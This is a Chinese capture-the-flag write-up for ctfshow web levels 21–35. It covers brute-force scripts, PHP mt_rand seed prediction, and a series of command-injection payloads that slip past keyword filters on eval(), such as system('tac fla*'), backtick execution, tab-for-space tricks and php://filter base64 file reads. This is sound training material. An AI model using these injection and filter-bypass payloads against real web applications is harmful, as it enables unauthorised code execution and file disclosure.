CTFSHOW-WEB入门
使用工具:dirbsearch、
php随机数下载链接:https://www.openwall.com/php_mt_seed/php_mt_seed-4.0.tar.gz
#一、ctfshow爆破
##web21
BP抓包跑字典这边加载了三个自定义载荷,有效载荷处理,取消有效载荷编码,使用的狙击模式,
##web22
这关就是爆破子域名,里面有一个vip.ctf.show,页面名称里面就有flag
##web23
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-03 11:43:51
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-03 11:56:11
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0); // 禁止显示错误报告,防止泄露敏感信息
include('flag.php'); // 包含 'flag.php' 文件,通常在该文件中会定义一个 $flag 变量(表示 CTF 挑战的目标)
// 检查是否通过 GET 请求提供了 'token' 参数
if (isset($_GET['token'])) {
// 对提供的 token 进行 MD5 哈希运算,生成 32 字节的哈希值
$token = md5($_GET['token']);
// 条件 1:检查哈希值中第 2 位、15 位和 18 位字符是否相同
// substr($token, 1,1) 取出哈希的第 2 个字符
// substr($token, 14,1) 取出第 15 个字符
// substr($token, 17,1) 取出第 18 个字符
if (substr($token, 1,1) === substr($token, 14,1) && substr($token, 14,1) === substr($token, 17,1)) {
// 条件 2:将第 2、15、18 位字符转为整数并相加,除以第 2 位的整数,结果需等于哈希的最后一位字符的整数
// intval() 用于将字符转换为整数
if ((intval(substr($token, 1,1)) + intval(substr($token, 14,1)) + substr($token, 17,1)) / substr($token, 1,1) === intval(substr($token, 31,1))) {
// 如果条件 1 和条件 2 都满足,输出 $flag
echo $flag;
}
}
} else {
// 如果没有提供 'token' 参数,显示当前文件的源代码
highlight_file(__FILE__);
}
?>
这个代码通过对输入的 token 进行 MD5 哈希运算,并对特定字符进行判断,条件满足后会输出 CTF 的 flag,使用python脚本进行爆破
import hashlib # 导入 hashlib 模块,用于生成 MD5 哈希值
# 定义字符集合,包含数字和字母的组合
a = "0123456789qwertyuiopasdfghjklzxcvbnm"
# 使用双重循环遍历字符集合中的每个字符组合(两位)
for i in a:
for j in a:
# 将两个字符拼接成字符串,然后编码为字节格式(用于 MD5 哈希)
b = (str(i) + str(j)).encode("utf-8")
# 生成字符串 b 的 MD5 哈希,并将哈希结果转换为 32 位的十六进制字符串
m = hashlib.md5(b).hexdigest()
# 检查 m 的特定位置上的字符是否都是数字
if m[1:2].isdigit() and m[14:15].isdigit() and m[17:18].isdigit() and m[31:32].isdigit():
# 条件 1:哈希值中第 2 位(索引 1)字符、 第 15 位(索引 14)字符、 第 18 位(索引 17)字符必须相同
if m[1:2] == m[14:15] and m[14:15] == m[17:18]:
# 条件 2:这几个字符的整数和除以第 2 位字符的整数结果必须等于哈希值的最后一位字符的整数
if ((int(m[1:2]) + int(m[14:15]) + int(m[17:18])) / int(m[1:2])) == int(m[31:32]):
# 如果条件都满足,输出满足条件的字符组合(原始的两个字符字节形式)
print('结果为:',b)
#结果为:3j
GET token=3j即可出flag
##web24
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-03 13:26:39
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-03 13:53:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0); // 禁止显示错误报告,防止泄露敏感信息
include("flag.php"); // 包含 'flag.php' 文件,通常在该文件中会定义一个 $flag 变量(表示 CTF 挑战的目标)
// 检查是否通过 GET 请求提供了 'r' 参数
if (isset($_GET['r'])) {
$r = $_GET['r']; // 获取 GET 请求中的 'r' 参数
mt_srand(372619038); // 设置随机数生成器的种子,确保生成的随机数可预测
// 将 'r' 参数转换为整数,并与生成的随机数进行比较
if (intval($r) === intval(mt_rand())) {
// 如果相等,输出 $flag
echo $flag;
}
} else {
// 如果没有提供 'r' 参数,显示当前文件的源代码
highlight_file(__FILE__);
// 显示服务器操作系统版本信息
echo system('cat /proc/version');
}
?>
利用 Python 或其他编程语言模拟 PHP 的随机数生成器,使用相同的种子,生成随机数,并用它与 r 进行比较。构造 GET 请求,通过请求中带上正确的 r 参数来获取 flag
<?php
mt_srand(372619038);
//赋值给$a,intval — 获取变量的整数值
$a = intval(mt_rand());
echo $a;
//1155388967
最后拿到flag
##web25
题目代码如下
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-03 14:00:00
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-03 14:30:00
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
include("flag.php"); // 包含一个 PHP 文件,其中包含 $flag 的值
if (isset($_GET['r'])) { // 检查 GET 请求中是否有 'r' 参数
$r = $_GET['r']; // 获取 'r' 参数的值
// 使用 $flag 的 MD5 哈希值的前8个字符来设置随机数种子
// hexdec() 将 MD5 的子串转换为十六进制数
mt_srand(hexdec(substr(md5($flag), 0, 8)));
// 生成一个随机数 mt_rand(),并将 'r' 参数与生成的随机数进行比较
// 如果两者相等,$rand 的值应为 0
$rand = intval($r) - intval(mt_rand());
if ((!$rand)) { // 如果 $rand 为 0,则意味着 'r' 与生成的随机数相等
// 检查 Cookie 中的 'token' 值是否等于两个 mt_rand() 随机数的和
if ($_COOKIE['token'] == (mt_rand() + mt_rand())) {
echo $flag; // 如果条件满足,输出 flag
}
} else {
// 如果 'r' 参数不匹配生成的随机数,输出 $rand 的值(用于调试或提示)
echo $rand;
}
} else {
// 如果 'r' 参数未设置,显示当前文件的源代码并输出系统版本信息
highlight_file(__FILE__); // 高亮显示当前 PHP 文件的源代码
echo system('cat /proc/version'); // 输出系统版本信息
}
?>
##web26
提交空数据,抓包就能看到flag
##web27
在信息收集中发现系统可以使用,姓名和查询,同时获取到了身份证的前几位,需要爆破身份证的年月日,如此下是python脚本
# 身份证的固定部分
id_head = 621022 # 身份证的前6位,一般代表地区代码
id_reap = 5237 # 身份证的最后4位,通常是随机数或其他编码
year = 1989 # 起始年份
# 打开文件 'id.txt' 进行写入操作
fp = open('id.txt', 'w')
# 外层循环,遍历年份。范围是1989到1990(不包括1991)
for i in range(year, 1991):
# 中层循环,遍历月份。范围是1到12月
for month in range(1, 13):
# 内层循环,遍历日期。范围是1到31日
for day in range(1, 32):
# 检查日期组合的有效性,避免无效的日期(例如2月30日等)
try:
# 如果日期和月份均小于10,拼接时补0,例如"01"、"02"
if day < 10 and month < 10:
# 生成身份证号码:前缀 + 年份 + 月份 + 日期 + 后缀
id = str(id_head) + str(i) + "0" + str(month) + "0" + str(day) + str(id_reap) + "\n"
# 如果只有日期小于10,则只给日期补0
elif day < 10:
id = str(id_head) + str(i) + str(month) + "0" + str(day) + str(id_reap) + "\n"
# 如果只有月份小于10,则只给月份补0
elif month < 10:
id = str(id_head) + str(i) + "0" + str(month) + str(day) + str(id_reap) + "\n"
# 如果日期和月份都大于等于10,则不需要补0,直接拼接
else:
id = str(id_head) + str(i) + str(month) + str(day) + str(id_reap) + "\n"
# 将生成的身份证号写入文件
fp.write(id)
except ValueError:
# 如果遇到无效日期(如2月30日),跳过该日期,继续下一个
continue
# 写入完成后,关闭文件
fp.close()
输入学号和身份证后得到flag
##web28
看到0和1,尝试对它们进行爆破,爆破的时候需要将2.txt给删了最终爆破获得flag
#二、ctfshow命令执行
##web29-参数过滤
<?php
/*
# -*- coding: utf-8 -*- # 指定文件编码为 UTF-8
# @Author: h1xa # 作者信息
# @Date: 2020-09-04 00:12:34 # 创建日期
# @Last Modified by: h1xa # 最后修改的作者
# @Last Modified time: 2020-09-04 00:26:48 # 最后修改时间
# @email: h1xa@ctfer.com # 作者的电子邮件地址
# @link: https://ctfer.com # 作者的链接或个人网站
*/
# 关闭错误报告,以防止 PHP 报错信息泄露
error_reporting(0);
# 检查 GET 请求中是否存在参数 'c'
if (isset($_GET['c'])) {
# 将参数 'c' 的值存储到变量 $c 中
$c = $_GET['c'];
# 使用正则表达式检查参数 $c 中是否包含字符串 "flag"(忽略大小写)
# 如果 $c 中不包含 "flag",则继续执行
if (!preg_match("/flag/i", $c)) {
# 使用 eval 函数执行参数 $c 中的代码
eval($c);
}
} else {
# 如果没有传递 'c' 参数,显示当前 PHP 文件的源代码
highlight_file(__FILE__);
}
试了半圈后,网站根目录下名为 flag.php,对于过滤了 flag 关键字,我们可以使用system函数 如下方法绕过:(tac nl)
?c=system("tac fla*");
?c=system("nl fla?.php");
?c=system("nl fla*");
?c=system("nl fla[e-g].php");
?c=system("nl fla[g].php");
?c=system("nl fla''g.php");
?c=system("nl fla``g.php");
?c=system("nl fla\g.php");
?c=system("nl fla${x}g.php");
最后拿到flag
##web30-参数过滤
通过代码审计发现不区分大小写的过滤了 flag、system、php 等关键字。可以通过more、less、tac、/bin/ca*方法绕过,并且拿到是利用了 PHP 的flag, php://filter 包装器是通过 include() 函数读取指定文件(flag.php)的内容并将其以 Base64 编码的方式输出:
?c=echo%20`nl%20fla*.ph*`;
?c=echo%20%60tac%20fla*.ph*%60%3B
?c=echo%09`more%09fla*`;
?c=echo%09`less%09fla*`;
?c=echo%09`/bin/ca*%09fla*`;
//php://filter/read=convert.base64-encode/resource=flag.php 表示以流的方式读取 flag.php 文件,并将读取到的内容转换为 Base64 编码格式
?c=$a='fla';$b='g.';$c='ph';$d='p';include("{$c}{$d}://filter/read=convert.base64-encode/resource={$a}{$b}{$c}{$d}");
最后拿到flag
##web31-参数过滤
//c=eval($_GET[1]);:这是PHP代码,使用了eval()函数,该函数将字符串作为PHP代码执行。
//$_GET[1]从GET请求中获取参数1的值,将其作为字符串传递给eval(),并执行该字符串作为PHP代码,
//system()函数在PHP中用于执行外部程序命令,而tac是一个Linux命令,用于倒序输出flag文件内容,最后拿到flag
?c=eval($_GET[1]);&1=system("tac flag.php");
//过滤了flag,system,php,cat,sort,shell,点号,空格,单引号,eval一个参数来逃逸,正则匹配时对c参数进行了限制:
?c=eval($_GET[x]);&x=phpinfo();
?c=eval($_GET[x]);&x=system('cp f* 1.txt');
##32-参数过滤
//伪协议 php://filter/convert.base64-encode/resource=flag.php的功能是读取文件flag.php,并将其内容进行
//Base64编码后输出。这种方法通常用于规避某些文件读取的限制,尤其是当直接读取文件可能被阻止时,通过
//Base64编码可以让攻击者以编码后的形式获取文件内容,然后在本地解码以恢复原始内容。
?>&a=php://filter/convert.base64-encode/resource=flag.php
##33-参数过滤
?c=require%0a$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
##34-参数过滤
过滤了flag、system、php、cat、sort、shell、点号、空格、单引号、反引号、echo、分号、左括号、冒号、双引号
//这个和33一样
?c=require%0a$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
##35-参数过滤
//这个和前面的两个一样
?c=require%0a$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php